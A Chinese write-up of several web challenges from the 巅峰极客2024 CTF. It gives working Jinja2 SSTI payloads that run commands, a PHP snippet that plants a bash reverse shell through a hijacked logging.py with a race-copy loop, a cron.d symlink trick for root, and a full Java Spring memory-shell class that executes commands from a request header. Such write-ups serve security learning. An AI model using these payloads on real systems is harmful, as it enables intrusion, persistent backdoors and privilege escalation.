巅峰极客2024部分题解


尽力了,自己还是太菜了

Encircling

普通小游戏,打赢即有flag,前端操作一下就行了。

GoldenHornKing

非预期解

我出的是非预期解。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os

import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper

return decorator

app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)

@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"

if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=5000)

去查一下就知道了,jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})就是jinja2+fastapi的ssti语句。也就是说我们这里就是打fastapi+jinja2的ssti。示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from jinja2 import Environment

app = FastAPI()

@app.get("/")
async def read_root(username=None):

username = username or "Guest"
Jinja2 = Environment()

# Vulnerable Implementation
output = Jinja2.from_string("Welcome " + username + "!").render()

# Safe Implementation
# output = Jinja2.from_string("Welcome {{ user_name }}!").render(user_name=username)

return HTMLResponse(content=output)

很像吧。

但是这个题目有限制,无回显+access限制。access的存在使得我们每开启一次就只能打一次payload,如果一次不能成功就只能重启靶机。

所以先本地测试,改成有回显的情况。哦对,还有过滤,过滤数字和%,差点忘了。

本地测试发现不用{{}}包裹就能够打ssti了。

测试payload:

1
lipsum.__globals__.os.popen('dir').read()

有回显

尝试反弹shell发现payload会带数字,dnslog curl不到。

那现在就是指向一个无回显、不出网、只能打一次限制盲注的情况。

这种情况最好的办法就是打内存马,要打内存马就只能找到添加路由的函数,欸,但是我没找到。

我找的是另一条路,灵感来自于pyjail。

link_here

看到这里灵感瞬间来了,我们lipsum也能够拿到exec,那就是说我们能够篡改任意一个函数。篡改哪个呢?答案不言而喻。

1
2
3
4
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()

很明显就是这个open,能够返回值显示的,这样不就有回显了吗?

照猫画虎一下修改open,这里用的是lambda表达式,很好写的:

1
lipsum.__globals__['__builtins__']['exec']("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('cat /flag')")

本地测试:

1
lipsum.__globals__['__builtins__']['exec']("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('whoami')")

至于为什么用popen,很简单啊,因为还要调用一个.read(),我们平时做ssti不都是popen('xxx').read()吗,这不就相当于popen('xxx').read()

本地测试成功。去远程环境打就可以了:

预期解

Z3r4y师傅的解法,发现了add_api_route可以动态添加一个路由,那payload很简单了:

1
/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

php online

有点炸裂这题,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()

php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()

result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)

return result


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=80)

逻辑就是nobody权限用户去执行php代码,nobody的权限比www-data还低。

这里刚开始看到sudo -u www-data python3 init.py,用www-data执行的init.py,便想去尝试读一下这个文件:

1
2
3
<?php
system('cat /app/init.py');
?>

发现只是一段很普通的代码:

1
2
import logging
logger.info('Code execution start')

然后没了,看了很久都没看出来。

比完了问了一下烧卖的师傅们,gztime师傅说用的是条件竞争做的。呜呜,当时没看出来。

在哪竞争呢?其实就是这个sudo -u www-data python3 init.py

它import了logging。在python里同目录下的同名py文件优先于第三方库文件。也就是说我们如果在sandbox里也有一个logging.py,那么它就会先调用我们的logging.py文件。

很显然我们不能够直接将自己的logging.py文件放到sandbox里,因为每次运行都会删掉沙箱里的所有东西。我们先在tmp目录下写,然后sh脚本调用将其循环复制竞争即可。

1
2
3
4
5
6
7
8
<?php
system("echo \"__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"') > /tmp/logging.py\"");
system("echo 'while true;do' >> /tmp/a.sh");
system("echo ' cp /tmp/logging.py /sandbox/sandboxname/logging.py' >> /tmp/a.sh");
system("echo 'done'>>/tmp/a.sh");
system("chmod +x /tmp/a.sh");
system("sh /tmp/a.sh");
?>

这样能够不断将logging.py复制到sandboxname目录下,也就是一个沙箱内,此时只需要不断在该沙箱内触发sudo -u www-data python3 init.py即可,随便执行触发。这样能够获取到www-data权限的shell。但是还不够,flag是只有root权限才能够拿到的,我们还得想办法到root权限。

suid没有有用的信息,uname -a也没有有用的信息。但是ps -aux会发现开着定时任务。此时我们要想办法往定时任务里写东西。利用沙箱会cd进沙箱目录然后写phpcode文件的操作,可以将沙箱和定时任务目录软链接起来,然后写的时候就会写入定时任务里了。

1
ln -s /etc/cron.d /sandbox/xxxxxxxx

然后传定时任务格式的payload就行了:

1
2
* * * * * root cat /flag > /tmp/flag
# <?php sleep(10000);?>

# <?php sleep(10000);?>这里是防止phpcode被删的太快,保证能够写到计划任务里并且执行。最后到/tmp/flag下读flag就可以了

admin_test

这个题也没看,第二天感觉一眼看上去很简单。简单说下思路吧,dirsearch扫到admin.html。是一个上传并且执行命令的界面,传了发现waf,慢慢扫会发现限制了t * . /,跟ctfshow那个临时文件执行差不多:

1
2
3
4
#!/bin/sh
ls /

. /t*/*

最后利用find提权就可以了。

ez_java(未解出)

不懂,考的是jdk17下的cb链。去看了rwctfoldsystemn1ctf juniorderby plus,那两个一个是低版本下的cb链,一个是高版本下的cb链,都指向了ldapAttribute这条链子,打的是jndi。但是将payload发过去之后发现它还有waf,过滤了org.apache类,有点不会打了。

updated in 2024/8/20

看了wp,发现又是你妈的utf8 overlong encoding,卧槽,三次死在这个上面了。

还有一个比较重要的点,cb一般都会带上cc依赖,而实际测试也基本上是这样:

可以看见org.apache.commons下有beanutils和collections,绷不住了。

而且题目不出网,只能够打内存马,这下反而变简单了。用cc链打一个内存马就行了。但是高版本下没有templatesimpl,我们得找一个新的路线去等效替代。

新路线就是MethodHandles.lookup.defineClass。不由得让我们想到cc3的调用路线,通过InstantiateTransformer调用这个defineClass加载字节码,和cc3类似。

打内存马用springEcho。这里得用Unsafe patch一下module,但是wp没有详细提供。因为jdk17模块化的原因导致有些unnamed的module无法加载,所以有可能要添加参数。

1
2
3
4
5
6
7
8
9
10
//可能的Unsafe.PatchModule
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get((Object)null);
Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
Object module = getModuleMethod.invoke(Object.class);
Class clz = xxx.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(clz, offset, module);

神秘的springEcho:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package com.Err0r233;

import sun.misc.Unsafe;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.Locale;
import java.util.Scanner;

public class Exploit {
private String getReqHeaderName(){
return "Cache-Control-Hbobnf";
}
public Exploit() throws Exception{
try {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get((Object) null);
Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
Object module = getModuleMethod.invoke(Object.class);
Class clz = Exploit.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(clz, offset, module);
} catch (Exception e){

}
this.run();
}
public void run(){
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try{
Object requestAttributes = this.invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = this.invokeMethod(requestAttributes, "getRequest");
Object response = this.invokeMethod(requestAttributes, "getResponse");
Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
String cmd = (String) getHeaderM.invoke(request, this.getReqHeaderName());
if (cmd != null && !cmd.isEmpty()){
Writer writer = (Writer) this.invokeMethod(response, "getWriter");
writer.write(this.exec(cmd));
writer.flush();
writer.close();
}

}catch (Exception e){

}
}
private String exec(String cmd){
try{
boolean isLinux = true;
String osType = System.getProperty("os.name");
if(osType != null && osType.toLowerCase().contains("win")){
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes;
for(execRes = ""; s.hasNext();execRes = execRes + s.next()){

}
return execRes;
} catch (Exception var8){
Exception e = var8;
return e.getMessage();
}
}
private Object invokeMethod(Object obj, String methodName) throws Exception{
return this.invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception{
Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null){
try{
if (paramClazz == null){
Method[] methods = tempClass.getDeclaredMethods();
for (int i=0;i<methods.length;++i){
if(methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0){
method = methods[i];
break;
}
else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);

}
}
}
} catch (NoSuchMethodException var12){
tempClass = tempClass.getSuperclass();
}
}

if (method == null){
throw new NoSuchMethodException(methodName);
}
else {
method.setAccessible(true);
if(obj instanceof Class){
try {
return method.invoke((Object) null, param);
} catch (IllegalAccessException var10){
throw new RuntimeException(var10.getMessage());
}
}
else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException var11){
throw new RuntimeException(var11.getMessage());
}
}
}
}
}